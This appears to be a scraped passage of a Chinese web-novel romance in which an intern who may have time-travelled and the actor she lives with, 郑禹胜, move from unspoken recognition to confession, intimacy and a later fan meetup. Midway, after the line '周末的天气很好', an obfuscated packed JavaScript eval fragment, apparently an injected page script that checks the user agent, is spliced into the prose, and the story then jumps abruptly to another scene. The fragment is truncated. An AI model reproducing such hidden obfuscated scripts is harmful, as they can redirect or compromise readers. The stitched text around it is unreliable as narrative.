谢安琪听到这些话时,只是在公司厨房里拧开保温杯,喝了一口保温杯里的冰美式,没人知道,他现在的私生活,其实就是每天七点出门,晚上八点回家,在家做饭,看剧本,睡觉。 谢安琪也没告诉别人,因为这段关系,没有人需要知道。 但有个事情,是谢安琪一直在心里存着的。 “你是不是会记着过去的事情?” “我的穿越是不是真的存在?” 这句问话谢安琪想了很多次。 在看他洗菜的时候,在听他看剧本皱眉的时候,在走廊里一起换灯泡的时候,她都想问,你是不是,其实早就认识我了? 可谢安琪始终没问出口,因为她知道,一旦问出口,事情就会有答案,有了答案,她就没法再骗自己。 她宁可继续做那个误打误撞嫁给郑禹胜的人,也不想成为其实你早就在等我的那一位,即便过去的她和他,可能依旧是现在的他和她,但很多问题已经不再需要那么多的可能了。 所以谢安琪一直没问,他也一直没说。他们就这样相安无事地住在一起,像两个人在时间错位里完成了一场非对等的相爱,但谢安琪自己也不知道,这份错位究竟能持续多久。 …… 首尔的夜晚,天一黑就让人犯困。谢安琪站在KCL公司大厦门前,看着远处LED灯屏反复播放的一组广告,是郑禹胜代言的护肤品。 郑禹胜穿着白衬衫,逆光下皮肤几乎没有瑕疵,眼神沉静得不像真人,更像个精密建构出来的梦。 镜头最后停在他抬眼微笑的一秒,字幕缓缓浮现,“郑禹胜&晨光系列——你的第一道晨光。” 谢安琪有点想笑。她清楚这个人醒来的时候脸上第一道表情常常是懵的,连头发都翘得像爆炸头,可是广告里的他太干净,太完美,仿佛早已不是她每天在家里看到的那个人。 谢安琪忽然想起那句烂俗的话:明星是大家的,但生活是自己的,可谢安琪心里却涌出一个更真实的念头,他火得不像属于她的世界。 …… 午休时间,公司茶水间。 几个策划部的女生靠在咖啡机旁边说话,其中一个压低声音说,“你们知道郑代表结婚那事吗?真的假的,代表看起来可一点不像是会结婚的人。” 另一个立刻接话:“不会吧?这也太玄了,我也不相信他结婚了。” “让我说,就算是真的,这种婚姻根本不牢靠,撑不了多久的。” 谢安琪站在外头,听得一清二楚,她没有进去,也没打断,只是低头把咖啡杯的边沿抹了两下,然后转身回了工位。 那天谢安琪午饭没怎么吃,坐在屏幕前,把同事交给她的素材剪了三遍,每一次都觉得哪里不顺眼。 直到同组前辈拍拍她肩:“你是不是累了?脸色不太好。” 谢安琪笑了笑,摇头:“有点卡壳而已。”谢安琪知道,不是剪辑的问题,是她自己卡在心里。 后来她和项目组长一起去取拍摄用的道具,车里没话,组长忽然开口问:“安琪,我可以问你一件事吗?” 谢安琪点头。 “你跟郑代表,是怎么认识的?我感觉你们很熟的样子,之前去济州岛的拍摄他直接就要求你去。” 谢安琪手握着手机,指尖顿了一下,她没看对方,只是轻描淡写地回:“我们教授跟他认识,所以我跟他就是偶然认识。” “大家都挺好奇的,他是不是跟你选了一样的专业,我听说他要去上课什么的。” “是啊。”她看窗外,“我们也……不太像同学。” 组长没再问了,只是淡淡地说:“你知道的,他们这样又要赶行程还要学习,时间紧的很,也不容易。” 谢安琪轻声嗯了一下,她知道组长没恶意,只是好奇。可越是好奇,就越说明她和郑禹胜,站在一个谁也不敢靠近的断层线上。 …… 周五下班,KCL大厅正播着当季艺人宣传片。郑禹胜坐在访谈椅上,主持人问他:“这几年拍了很多角色,有没有哪个角色让你特别动情?” 郑禹胜想了想,说:“有一个,是一部不太出名的独立片,拍得很辛苦,但那个角色是我二十岁就想演的。” 主持人笑:“你现在三十六了,才圆梦。” 他点头:“对。也不知道是不是圆梦,反正一直记着那场戏。” 画面里,他低头揉了揉眉心,那是他习惯性的小动作,谢安琪站在大厅角落,看着投影上的他,有一秒恍惚,那个他,比家里穿拖鞋的他要遥远太多。仿佛她只是银幕外的一个观众,而不是住在他家、用他牙杯、睡在他左手边的那个谢安琪,他们在现实中靠得那么近,在屏幕上却像从未相识。 回到家那晚,郑禹胜还没回来,她照常煮了米粥,做了一点青菜,放了两碟泡菜。他常说这才是家味道,不要外卖。 谢安琪一个人吃完饭,收好碗筷,坐在阳台望了会儿夜景,有车灯扫过楼下,玻璃上映出她自己的脸,模糊又寂寞。 她想了很久,忽然想到一个句子,她不是不爱这个人,而是害怕靠近得太近之后,一旦穿越结束,所有的一切都会像电影落幕一样,倏然归零。谢安琪怕有一天,她走了,他一个人还留在这栋屋子里。所以她不敢靠得太近,也不敢让他看得太清。有些爱,是因为错位而动心;也因为错位而难以靠近。 可能是情绪的引导,谢安琪很久没做那种强烈到醒来都能记得细节的梦了。这一次的梦里,她穿着短袖站在一条老旧夜市街口。天是灰蓝色的,像褪色的照片纸。四周有吆喝声、油烟味、路灯时明时暗,她低头看手里拿着一根刚买的炭烤鸡肉串,还冒着火残留的热。 然后,她抬头看见他了,是郑禹胜,年轻的,二十来岁的样子,穿一件洗得发白的T恤,手里抱着一把中提琴,神情疲倦又专注。 郑禹胜站在路边摊前,低头数钱,像是在精打细算要不要买那碗炸酱面。他并不富裕,也不闪光,可他一抬头,朝她露出一个几乎是少年才有的笑。 梦境像卡在胶片的一帧,画面定格在那里,谢安琪忽然想哭。不是因为见到他,而是因为她想告诉他我还记得你,但她没能开口,梦就碎了。 谢安琪睁开眼的时候,天已经亮了,身边没人,窗外的风刮得玻璃轻轻作响。她闭上眼,眼眶有些发酸。 她终于知道,那个想确认他记不记得的冲动,其实一直都在她心底,只是她平时不敢承认。 …… 就这样积累起来,谢安琪很长一段时期情绪都不好,直到心情最差的那天。然后她没去公司,发了个请假条,窝在大平层阳台的懒人沙发上发呆。阳光不刺眼,风有点凉,她坐了很久,忽然拉开抽屉,看着里面放着的一些电影票根,都是她去不同的独立影院补看的电影,这些作品的共同点就是,都是郑禹胜演的。 三天后,下班回家的时候,她在门口看见一个包裹,上面写着她的名字,没有寄件人。 她打开,发现是一台老款胶卷相机,柯达的,型号是她很早以前在街边旧货摊看过的那款。 相机后盖上贴了一小张便签,你上次说喜欢这种转轮快门感。笔迹是郑禹胜的。连字迹的斜度和间距都带着他写剧本时那种慢性子。 谢安琪顿了一下,手指握在快门的位置,轻轻按了一下,听见咔哒一声,像是他们过去某年夏天一起拍过照的声音。那年他们站在天台,她调皮地拍了他一张刚擦汗的模样,他当时没说话,回头给她也拍了一张,她抱着西瓜,笑得眼睛都眯成了月牙。 谢安琪不知道现在的他是不是也记得那一幕,但他寄来的相机,像是一种默认的回答,这句绕口令一样的话,谢安琪在心里默念了很多遍,谢安琪期待他有记忆。 谢安琪越来越确定这不是错觉。因为很多他第一次做的事,动作太自然,语气太有默契,甚至连沉默时的间距都对得太准。比如她一说炸酱面,他就知道要放点白糖;她一说我不喜欢电视太亮,他就会自动调低亮度;她一碰到冷风打喷嚏,他就会从厨房拿出姜汤。 这些不是第一次相处的熟练感,而是更像是记忆的积累,谢安琪想,他一定是知道的。只不过,他不说。不是不敢说,而是怕说了,她就走了。就像是怕一说出口,她就会消失在时间线里,再也回不来。 所以郑禹胜宁愿小心翼翼地配合,默不作声,也不愿确认她的答案。 谢安琪看着那台相机,轻轻笑了一下,她心里的情绪在猜测集中的那一刻变的更为浓烈,谢安琪甚至想告诉他,其实她也一样。她其实也不敢问,因为她怕听到的答案,不是她想听的版本。 所以只要不说也不问,就还能保持现在的状态。 …… 这样呆了许久,接了长剧集去拍摄的郑禹胜才回来一次,谢安琪也知道他接了哪些活动又推掉了哪些,心里也算完全记住了他的行程,那晚他回来了,没说话,只把西装外套搭在沙发背上,走进厨房煮了一锅乌冬面。 谢安琪坐在餐桌边,托着腮看他,什么也没说,他端着两碗面出来,把调味酱放到她手边,“少放点辣。” “好。” 两人就那样坐下,一边吹面,一边吃,很普通的夜晚,甚至连一句心事都没说,可谢安琪却觉得这是他们最近距离最近的一晚,什么都不说,才是真正的知道。 那天晚上十点半,吃了一碗乌冬的郑禹胜又出去拍摄了,谢安琪一个人在家,原本已经洗好澡,准备关灯睡觉,但不知道为什么,还是拿起手机,翻开通话记录,屏幕上“郑禹胜”这三个字赫然在列。他是那种不会给别人留很多微信消息的人,语音更是几乎没有。但电话却打得频繁。 她盯着那通最后一次未接通的来电,犹豫了几秒,还是点了拨号,铃声响了三声就接通了。 他声音低哑,带着一点困意,“怎么了?” “……没什么。”她顿了一下,“你睡了吗?” “还没,在看剧本。” “噢。”她顿了顿,“你寄的相机,我收到了。” “嗯。” “谢谢。” “别客气。”他说完这句,隔了两秒,又补了一句,“我知道你喜欢。” 她握着手机,肩膀贴着窗户,窗外的夜风吹得窗帘轻轻动了一下。 “郑禹胜。” “嗯?” “你有没有什么事情,是……你现在不说,以后可能再也没有机会说的?” 这句话一出口,谢安琪自己也吓了一跳,他那头沉默了好一会儿,才说:“我想靠近你。” 那句话说出来,像是在深夜的海里丢下一块石头,不是那种表面上波澜壮阔的浪潮,而是悄无声息地砸进心里,然后越沉越深,谢安琪没吭声,手机贴在耳边,手指却因为紧张而微微发颤。 “你在听吗?” 他那边轻声问。 “在。”她声音轻得几乎像风,“你是认真的吗?” “我不会拿这件事开玩笑。” “那如果我说……我其实,不一定一直在这里呢?” “那也没关系。” “你就不怕我走了?” 郑禹胜顿了一下,语气平静得出奇:“我怕。但我更怕从来没有靠近过。” 谢安琪听到这句时,心脏咚地跳了一下,她抬起头,看向天花板,有点委屈,又有点庆幸。 原来不仅是她在挣扎。 原来他也一样。 那晚他们没有再多说什么,但第二天早上,他比平时早了二十分钟回家,谢安琪还没起床,就听见厨房传来细碎的声音。谢安琪裹着毯子走出来,看见他正穿着灰色家居服,靠在炉边煮粥。 他回头看她一眼,眼神很淡,却带着一种已经习惯你在家的温柔,谢安琪靠着门边,头发还乱着,眼神有点迷糊。 “你今天怎么回来得这么早?” “因为昨天你说了可能会走。” “……” “我想早点回来,看你还在不在。” 这句话说得很轻,却比任何承诺都要实在,谢安琪低头笑了下,鼻子有点酸。她没说话,只走过去从后面轻轻环住他,额头靠在他背上。这是谢安琪第一次主动,也是他第一次,在灶火前没有任何迟疑地握住她的手。 那天两人一起吃了早饭,洗碗时他站在水池前,她坐在椅子上削苹果,他一边洗盘子,一边说:“我不知道你会不会一直留下来。” “你怕我走?” “嗯。” “但你也不说。” “因为我怕我说了,你就真走了。” 她听完,低头笑了笑,把苹果削成细薄的螺旋状,一片片叠起来放进小碟。 “你是不是很早之前就……认识我?” 她第一次问,他顿了一下,抬头看她,但这次,他没回答,只是走过来,坐在她身边,把那碟苹果拉过来,拿了一片放进嘴里。 “我记得你喜欢酸甜味多一点。” 谢安琪一怔,这不是她刚才说的,是以前某次夏天他们一起去海边时,她在夜市上跟他说的。她没再说话,只低头咬了一口苹果,心跳却失了节奏。 …… 中午阳光很好,谢安琪洗了床单,在阳台上晾衣服。郑禹胜站在一旁帮她夹衣架,两人没说话,只听见风吹过布料的声音。 一条毛巾被吹得翻起,他伸手去压,手指刚好碰到她的手背,两人都停住了动作。谢安琪没躲开,他也没撤走,那一瞬间,什么话都不重要了,他侧过头看她,眼神沉静,像是在确认是不是可以靠近她,谢安琪没有说什么。她只是轻轻点了点头,然后顺势靠进他怀里。 风在衣物间穿梭,天色澄澈,他们像是终于在一条时间线里牵住了彼此的手,不是梦,也不是过去,是现在。 傍晚六点,首尔开始下雨,连天接地的秋季急雨,像有人在楼顶打翻了水桶,街道上的伞五颜六色,一眨眼就模糊了人影。 谢安琪下班晚了一点,刚走出KCL公司大门就被雨堵住了去路。她撑着手机导航走到最近的地铁站,正好站在天桥口的雨棚下时,身边多了一只伞。 是郑禹胜,郑禹胜没说话,只是把伞往她这边偏了偏,她下意识往他那边靠了靠,两人肩膀碰在一起,隔着雨声,他低声说:“我知道你今天要加班。” “所以你来接我?” “对。” “你就不怕被拍?” “我戴帽子了。” “帽子能挡脸?” “你不也一样站出来了吗?” 她噎了一下,扭头去看他,只看见帽檐下那双深不见底的眼睛,谢安琪忽然就不说话了。两人就那样共撑一把伞,慢慢走进人群,像在所有现实光景里完成了一场早就约好的相遇。 他们回到大平层的时候,雨还没停,外面城市灯火通明,屋里却只开了一盏落地灯。她脱了外套,擦头发,他坐在地毯上摆拼图,说是剧本里要用的画面,谢安琪靠过去坐下,一起拼了两块。 忽然郑禹胜说:“如果有一天你不在了,我要怎么找你?” 谢安琪怔了一下。 “你是说哪种不在?” “就是像你说的,你不确定是不是会一直留在这里。” “你真的会找我?” 郑禹胜没回答,谢安琪看他一眼,发现他手指在一块拼图上反复摩挲,却没插进画面里。 “你是不是早就知道我可能……不属于这里?” “虽然不知道你为什么这样问,但我觉得回答是 ……我是这样认为的。” “那你还敢喜欢我?” “我不敢不喜欢你。” 他这句说完后,就没再开口,但谢安琪已经说不出话来了,两人没进卧室,而是就着那盏地灯坐在地板上喝姜茶。谢安琪靠在他肩膀上,心跳很快,却没有动。他低头看着她,手指慢慢顺着她的发丝往下拂,停在她耳后。 “你冷吗?” “还好。” “我去给你拿毛毯。” “你别走。” 郑禹胜顿了顿,重新坐回她身边,这次谢安琪主动往他怀里挪了点,把脸埋在他胸前。 “你不问我为什么忽然想留下来了吗?” “我不敢问。” “那你想不想知道答案?” 郑禹胜没出声,只是轻轻点了点头,谢安琪抬头看着他,眼神像夜色一样沉。 “因为我已经不想走了。” “好。” 郑禹胜回答的很快,就像他真的觉得,她不会又离开或者又回去一样。 …… 凌晨两点,他们依旧没睡,沙发上的灯光变得昏黄,背景音乐里放着她随手点的BGM,钢琴声低缓绵长。郑禹胜靠在沙发背上,她躺在他膝头,手指搭在他的手心。 谁也没说话,像在等时间自己往前走,等灯灭,等风静,等某个可以不再试探的时刻,直到他俯身下去,轻轻吻了她的眉心,然后是睫毛、鼻尖、嘴角,谢安琪没躲,只闭上眼,呼吸变得很轻。 这不是一场需要谁主动的亲密,而是两人终于同步的心跳,他们顺理成章地靠在了一起,在这个雨夜,没有剧本、没有表演、没有角色,只有彼此。 她不记得自己是几点睡着的,只知道窗外的雨停了,室内一片宁静,郑禹胜没走,守着她,一夜没动,天快亮的时候,他轻轻吻了她额头一侧,声音像是自言自语,“无论你在哪一条时间线,我都会找到你。” 谢安琪没醒,但嘴角却动了一下,像是听见了,那一刻,郑禹胜知道自己已经不需要任何确切的记忆、不需要任何确认,谢安琪会留在这里的,哪怕哪一天她离开,也终会再回来,因为他始终都在等。 窗帘缝隙里漏下的晨光洒在地板上,像某种柔软的滤镜,谢安琪睁开眼,第一眼看到的是熟悉的天花板和靠窗的绿植,第二眼看到的是躺在身侧、还闭着眼的郑禹胜。郑禹胜侧卧着,眉心微蹙,似乎做了个不太安稳的梦,她没有动,只静静地看了他几秒。 郑禹胜和梦里那个抱着中提琴的少年不太一样了,眉骨更立体,喉结更分明,连手背的血管也比记忆里更清晰,可他还在,那就够了,谢安琪轻轻抬手,帮他把额前几缕头发拨开,他这才醒了,睁眼时目光还有些朦胧,但很快聚焦到她脸上。 “早。” “早。” 郑禹胜没多说什么,只是伸手揽住她,把下巴抵在她额角,两人就这样安静地贴了一会儿,像习惯了一切风雨之后,只剩下依靠。 他们起床后,谢安琪去厨房热了牛奶,他进浴室刷牙,不一会儿她也进去,一手拿着牙刷,一手拎着毛巾。 洗漱台前的镜子里映出他们并排站着的影子,一个穿着浅色家居服,一个还披着早晨的睡意。 谢安琪在涂牙膏的时候抬头看了他一眼。 “你平常是用这个牙膏吗?” “嗯。” “我觉得你其实喜欢用味道淡一点的。” “你记得我用什么?” “我猜的。” 郑禹胜没拆穿,只是把杯子递给她:“帮我接点水。” 谢安琪转身接水时,耳后被他轻轻拂了一下。 “你耳朵后面还有牙膏泡沫。” 谢安琪耳朵一下就红了,赶紧低头漱口,嘴里含糊着说,“你很烦。” 但谢安琪笑了,镜子里,她的笑比水汽更真切。 ………… 周末的天气很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢安琪听得出他努力的那种感觉,不是为表演,是为生活,因为他终于不再是别人眼中的郑禹胜,而是她眼前的那个人,她合上电脑,走去厨房倒水,路过他身边时,轻轻地,搭了下他的肩。 郑禹胜抬头看她,问:“怎么了?” “没事。” “你是不是要工作?” “要。但你也早点睡。” “你也是。” 两人像老夫老妻一样地结束这场对话,她回了房,坐在床边,听他脚步声在房间里移动。 她忽然想写一封信,写给以后不再确定时间线的自己,“如果你还记得今天这一段,请你一定、一定不要忘了我们靠得最近的时刻。” 谢安琪知道自己不会永远停留,可此刻,她是真的不想走,就在这天晚上谢安琪又梦见了他。 不是二十岁的郑禹胜,也不是三十六岁的,而是一个模糊的、混合了两个时间线的他。他站在电影片场灯光之下,穿着灰色衬衫,头发被风吹得微乱。旁边工作人员在忙碌,而他只是静静地站着,看向远方。 谢安琪梦里的自己就站在远方,她没有靠近,他也没有走来。两人像被梦境划出了各自的位置,只能对望,然后她听见郑禹胜说了一句:“你要是早点说你会走,我就不演了。” 这句话让她在梦里一惊,醒来后,额头一片冷汗,谢安琪坐在床边,看着窗外的天色渐亮,心里却涌起一种难以言喻的情绪,是他记得了?还是她太想他记得?这一切到底是她的愿望,还是他的回应? …… 清晨,她走进厨房,看见郑禹胜蹲在灶前,给她煮早饭,鸡蛋在沸水里不停的碰撞。 “你昨晚睡得不好?” “你怎么知道?” “你眉头皱着,像是梦里也在想问题。” “你在看我?” “我一直在看。” 郑禹胜把鸡蛋盛出来,递给她,谢安琪接过时没说谢谢,而是轻轻靠了一下他。这是一种不再绕圈的靠近。他们不需要再试探,也不需要多言。生活在这一刻,开始真正以双人模式运转。谢安琪刷牙,他洗碗;她订外卖,郑禹胜去取;她把袜子扔在沙发上,他会捡起来叠好。 这一切原本是习惯,现在却成了默契。谢安琪忽然想,如果穿越真的有一天会终止,那至少此刻,是她真真切切参与的人生。 …… 谢安琪去KCL公司开会,电梯门一开就撞见他,郑禹胜身边是两个投资方代表,还有一个新电影导演,她装作没看见他,他也只是微微点头,像是对普通员工,但当会议结束后,她手机上多了一条短信,“今天你穿的衬衫扣子错了一个。下次让我帮你扣。” 谢安琪看着那句话,在洗手间笑了好久,她没回消息,等回家时他已经在厨房煮饭。 她在门口脱鞋,轻声说:“我今天衣服扣错了啊?” 他没抬头,只说:“你不是故意让我发现的?” 她笑了:“你还挺自信的。” “不是自信,是习惯。你每次想让我注意你,都会做点小动作。” “那你每次都看出来了?” “当然。” 谢安琪站在厨房门口看着他,那一刻,她忽然很想告诉他,她在未来的很长一段时间,也都是靠这种方式,在屏幕上重新认识他。可谢安琪没有说出口。只是在他回头的瞬间,走过去,牵了他的手。其实今天郑禹胜还要出门赶下一个行程,他要出发去外地拍广告,谢安琪送他到电梯口,他回头看她。 “你不送我到车库吗?” “今天不想走太远。” “怕太靠近,就难分开?” “有点。” “那你在这站一会儿,我下电梯时还看得见你。” “你是说我站在电梯里也看着你?” 他笑了:“是啊。” 电梯门缓缓合上,她没动,一直望着他,最后一秒,他举起手,在玻璃上比了一个我爱你的手势,她没回应,只轻轻笑着点头。当天晚上谢安琪又梦到了他,这次的梦很奇妙。谢安琪发现自己在机场,看着屏幕上闪烁的航班号。一个穿黑色风衣的男人站在候机厅尽头,没说话,只是静静望着她,谢安琪走过去,站在他面前,说:“我要走了。” 郑禹胜低声问:“你还会回来吗?” 谢安琪说:“我不知道。” 郑禹胜伸出手,轻轻摸了摸她的额发,说:“你看上去更像二十岁的我爱上的人了。” “那你还会爱我吗?” “我一直都爱你。不管你在哪一条线。” 谢安琪猛然醒来,发现夜已深,而身边的人还在熟睡,她转头看他一眼,轻声说着,“郑禹胜,我也一样。不管你在哪一条线。”然后她轻轻靠过去,吻了他的脸颊。 有段时间,郑禹胜的工作都在家里进行,因此谢安琪偶尔会帮他去整理一些资料,尤其他的电脑桌面像往常一样杂乱无章,桌面贴满便利贴、剧本上画满箭头。她打开一个文件夹时,意外地看到了一个便签文档,她点开,里头只有一句话,“在所有时间线里都相遇的人,不是梦游者,而他们在最清醒的时候认得彼此。” 谢安琪盯着这句话看了很久,她没有问他什么时候写的,也没告诉他自己看到,只是那天晚上,她做了番意面,边煮边对他说,“我觉得我们不是命运安排在一起的人。” 郑禹胜从客厅走进来,靠在厨房门框边:“那是什么?” “是我们太不肯放弃彼此了。” 他没笑,也没说什么,只是慢慢地走过去,从她手里接过锅铲,轻声说了一句,“所以就算清醒了,我们也还在对方的梦里。” 阳光落在阳台地板上,一块块地随着风一起晃动。谢安琪把衣服晾上绳子,郑禹胜坐在藤椅上看剧本。 风吹起她的裙摆,她的头发像是柔和的水波,在他眼前摇曳,郑禹胜忽然问:“你有没有觉得我们之间的节奏很奇怪?” “哪里奇怪?” “就像我们不是一开始就一起生活,而是你先知道了我很多。” “那你害怕吗?” “有点。” “为什么?” “怕你已经了解了我全部,而我还在努力认识你。” “但这样不是也挺好吗?” “哪里好?” “你一直在追,我一直在等。” 郑禹胜放下剧本,看着她笑:“你是不是经常用这种说辞把我骗得一愣一愣的?” 谢安琪也笑了,笑容清澈得像阳光在他眼里亮起,她没说,她最怕的是哪天再醒来,眼前这个人连她都认不出了,所以她宁可现在说得圆满一些,就当这是他们能控制的现在。晚上他们一起看一部复古爱情片,里面的男主是那种偏执又深情的性格,谢安琪看完后说:“现实里如果有人像这样,可能会很烦。” 郑禹胜没说话,半晌问:“那我算不算现实里的男主?” “你不是偏执型。” “可我确实很认真。” “你认真,是温柔的认真,不是折磨人的那种。” 郑禹胜想了想,又问:“那你现在,有没有觉得我太真实了?” 谢安琪愣了一下,这个问题她确实没想过,毕竟,她第一次见他,是从屏幕上看来的;后来见到他,是从梦里穿越回去认出来的,在炎热的夏季,在窗户口远远看到他从屋塔房挤兑的道路尽头走出来,那个时候他像故事里的角色,高光、遥远、理想化。 但现在他就在厨房打翻米袋、会睡觉磨牙、会忘记带钱包,也会说今天不想出门,想陪谢安琪一天,谢安琪轻声说:“我觉得你现在……比以前好。” “哪里好?” “真实得很好。” 时间越旧,谢安琪就觉得自己跟郑禹胜越来越合拍,他们会在某个晚上同时说饿,然后一起点外卖,也会在早晨七点半准时起床,因为她要早课、他要去剧组。郑禹胜会在她生理期那天自动泡红糖水,谢安琪会在他拍夜戏前帮他揉肩,准备止痛贴。两人甚至没说过一句我爱你,但生活里全是那三个字的形状,她坐在阳台上写文案,他在电脑边剪短片,窗外风轻,室内光暖。 “你知道吗?”她说,“我小时候觉得爱是那种心跳加快、要跑很快去见一个人。” “现在呢?” “现在觉得,是你坐在我身边,但我不用回头,就知道你一直都在。” 郑禹胜没回应,只走过来,握住她的手,这种靠近,已经不需要再被命名了。 …… 过了一周,公司安排谢安琪去济州岛出差两天,出发的那天,郑禹胜坚持送她到机场。他们在检票口前分开,她拎着登机箱走到队伍尾端,忽然听见他叫她:“谢安琪。” 谢安琪转头,他站在人群那边,身后是大屏幕上闪动的航班信息。 “你会回来吧。” 谢安琪点头。 “说好了。” “好。” 谢安琪把那两个字用唇语说出来,然后转身进了闸口,他站在那里看着她的背影渐渐远去,直到再也看不见,郑禹胜不知道她这一次会不会穿越,也不知道她下次醒来是不是还会在这个时间线。但郑禹胜知道,她每一次离开后都会回来,他手里拿着个旧衬衫,那个衣服上似乎还残留着她的气息,那天她洗完澡,打开衣柜,没找到自己原本的T恤,便顺手穿上他新买还没拆吊牌的白衬衫,衬衫偏大,垂在她膝上,布料轻柔,袖口滑过手背,她走出房间,郑禹胜正在阳台收衣服,一回头,便看到她那副样子,他没说话,只是愣了下。 谢安琪一眼就看出他的反应,但没戳破。 “这件你什么时候买的?” “上周。” “你眼光还不错。” 她走过去站在他身边,阳光透过薄纱帘照在她脸上,连睫毛都像是会闪光。 他低头看着她,轻声说:“你穿比我想象的还合适。” “那我可以拿走吗?” “你已经穿了。” 她没说话,只是凑近了点,拉了下衣角:“那算我穿旧了,不能退了。” “嗯。” 郑禹胜看着她,像是在看什么旧梦里没能握紧的画面。两人靠得很近,谢安琪的头发有点湿,水珠顺着鬓角滑下来,在锁骨处凝成一个小点。郑禹胜抬手,帮她拨了一下头发,却不小心碰到她的额角,谢安琪抬头看他,眼神里带着笑意。 “你干嘛?” “你头发还没干。” “你想帮我吹?” “我想。” “你真会找借口。” “那我换一个。” “什么?” “我想亲你。” 空气顿了一秒,阳台上的风吹乱她的衣角,她却没躲,也没笑,只静静看着他,像是终于确认了什么。 “那你动手啊。”谢安琪说。 听到谢安琪的话,郑禹胜走近半步,手先落在她腰侧,没有使力,只是轻轻放着。他低头,额头贴住她额头,他们之间的呼吸开始同步,不是电影镜头的慢动作,也不是小说描写的心跳破表,是静得出奇的现实里,两个人终于在毫无铺垫的瞬间决定靠近。 郑禹胜的吻落下时没有急躁,而是像用了很长的时间才抵达。谢安琪闭上眼,轻轻回应。没有再去管时间线、梦境、现实或未来,只是这一刻的真实,像是用所有漂浮的梦换来的落地感。吻停下来的时候,两人都没有说话,只是额头抵着额头,呼吸混在一起。 谢安琪轻声说:“其实我也一直想靠近你。” “我以为你不敢。” “我是不敢。但我更怕错过。” “你知道吗?其实你第一次回来找我的时候,我就认出来了你。”郑禹胜低笑一声。 “那你为什么不说?” “因为我怕说了你会逃。” “那你不怕我这次又走?” “怕。” 他抬手摸她脸颊。 “但你现在就在我怀里。” “嗯。”谢安琪轻轻应了一声,像是给过去的自己一个答复,也给未来的不确定一个承诺。 那天晚上他们没有更进一步的动作,郑禹胜只是帮她吹干头发,谢安琪帮他收好衣服;她在沙发上看剧本,他在厨房洗水果,像是一切亲密都已经说尽,又都还没有说完,十二点,她站在窗边看夜色。 “郑禹胜。” “嗯?” “你是不是不怕未来变动的我?” “怕。” “那你为什么还靠近?” “因为你就是你。” 谢安琪转过头,看他一眼跟着轻轻一笑,然后走过去直接牵住他的手带他回卧室,夜晚的灯没关,是人就没有去关灯,只是窗帘似乎也跟着拉紧了,夜晚不知哪里来的风停了,但他们都还站在原地靠得很近,很近,呼吸近,心跳近,情愫也近。 33.第33章 谢安琪躺在床上翻着手机,窗外阳光透进来,晃得她眼皮发痒,她随手抓了抓自己的眼皮,另一只手在继续刷着 Naver Blog上一个更新博主的主页,最上方那篇日志配了一张模糊却明亮的照片,是郑禹胜,穿黑色风衣,从片场走出来,笑着跟围在路边的几位粉丝挥手。文案只有一句:“今天也在光里。” 这应该是个粉丝?她盯着那句看了好几秒,心里这样想着,但自己也记不住思考了些什么,她慢慢拉回视线。照片下方是连着过去三天的拍摄行程、几个粉丝围观地点的细节地图、还有“今天他喝的是美式”的留言,像是几十人合写的一份公开日志,默契而有爱。 谢安琪没有留言,只轻轻关掉页面。但指尖却轻轻按住手机屏幕,像是按住某种悄悄流出的情绪。她在想,这些人不知道他们记录着的现在,或许会成为她穿越过的过去。 而郑禹胜,在谢安琪心里早就不再是只有光环的偶像了。但那种心情还是太熟悉了。谢安琪闭上眼,脑海里冒出很多片段,灯光刺眼的演唱会后台、布满打板声的片场门口、还有在应援名单里她反复校对日文和韩文名字的深夜,她曾经是其中的一员。 大学期间,她加入过一个中韩粉丝联合团体,负责跨国艺人饭拍翻译。她会在公演前和后校对交通安排、整理翻译字幕,也会在机场接机时站在角落,默默举着牌子。那时她认识了现在这位还偶尔联系的朋友,叫尹夏英,是个热情外向又什么都爱笑的人。 两人靠着一次送水应援认识,后来变成朋友,偶尔约吃饭、看展、互相借手帐。最近这朋友突然联系她:“你还在首尔吧?周末出来转转啊,圣水有新的咖啡活动,还有超多小赠品。” 谢安琪当时没立即回,直到看到这篇关于郑禹胜的Blog,她才点开那条消息,敲了个字,“好。” 她不是想再回到过去那种站在远处仰望的状态,只是偶尔也想看看,现在的她还能不能和这个世界普通地相处。 周六上午十点,她出了门,坐上地铁,穿一件杏灰色毛衣、米白半裙,拎着帆布袋到了圣水。圣水永远是首尔女生心里的理想散步地,老仓库被改造成咖啡厅,玻璃砖反射出街道上的金色光影,巷子两侧挤满了拿赠品的小摊,空气里混着咖啡和草莓奶油香味。 谢安琪站在巷口,看见尹夏英朝她挥手:“你真的来了!” “你不一直催我吗?” “不是,我以为你变成办公室人了,已经不出来吸阳光了。” “我还是个实习生,又不是换了皮。” 两人边走边聊,排队拿赠品、扫码领活动券,拍照的拍照,收集印章的收集印章,像是一种成年人的限定式游乐场。 “你这些都还留着?”谢安琪指着朋友手上的应援卡。 “当然啊,我可不是三分钟热度的人。” 谢安琪笑着低头,把自己刚拿的那一套也递给她:“那你收藏得更完整点。” 下午三点,她们在咖啡厅排队等拿饮料。尹夏英刷着ins,忽然瞪大眼:“你知道吗?郑禹胜在圣水诶!和朋友来吃饭,好像是这家店!” 她举起手机给谢安琪看,画面里正好是附近不远的烤肉店。谢安琪看了一眼,淡淡地说:“那我们也去那家?” “可以吗?你不会嫌人多吧?” “我也想吃烤肉。” 到了餐厅门口,她一眼就看见了他。郑禹胜穿着帽T和牛仔裤,和两个朋友坐在靠窗的位置。余光扫过她时,只是轻轻点了下头。没多余表情,也没有熟识的微笑。但他很快站起来,走到门口对她们说:“我知道你,你们是我的粉丝对吗?不介意的话一起来吃吧,位置够。” 尹夏英兴奋得不行,小声问她:“你不是说你公司有艺人资源吗?他是你公司的?” “……是。” “哇,你居然没告诉我你偶像就是你实习单位的艺人!” 谢安琪笑笑:“我怕你失望。” “为什么?” “他不是你手机壁纸上的那个。” 朋友被噎了一下,但很快转移注意力:“但真人好帅!而且请我们吃饭,也太友善了吧!”餐桌上几人寒暄,气氛不算热烈却不失礼貌,郑禹胜不多说话,但偶尔看谢安琪一眼,她都装作没察觉。 餐厅灯光不算明亮,落在他侧脸上时反而让轮廓更清晰。帽沿下的眼神藏得很好,可她还是看得出来,他在确认什么,也在忍耐什么。饭后快八点,尹夏英要赶末班地铁,谢安琪陪她走到站口。 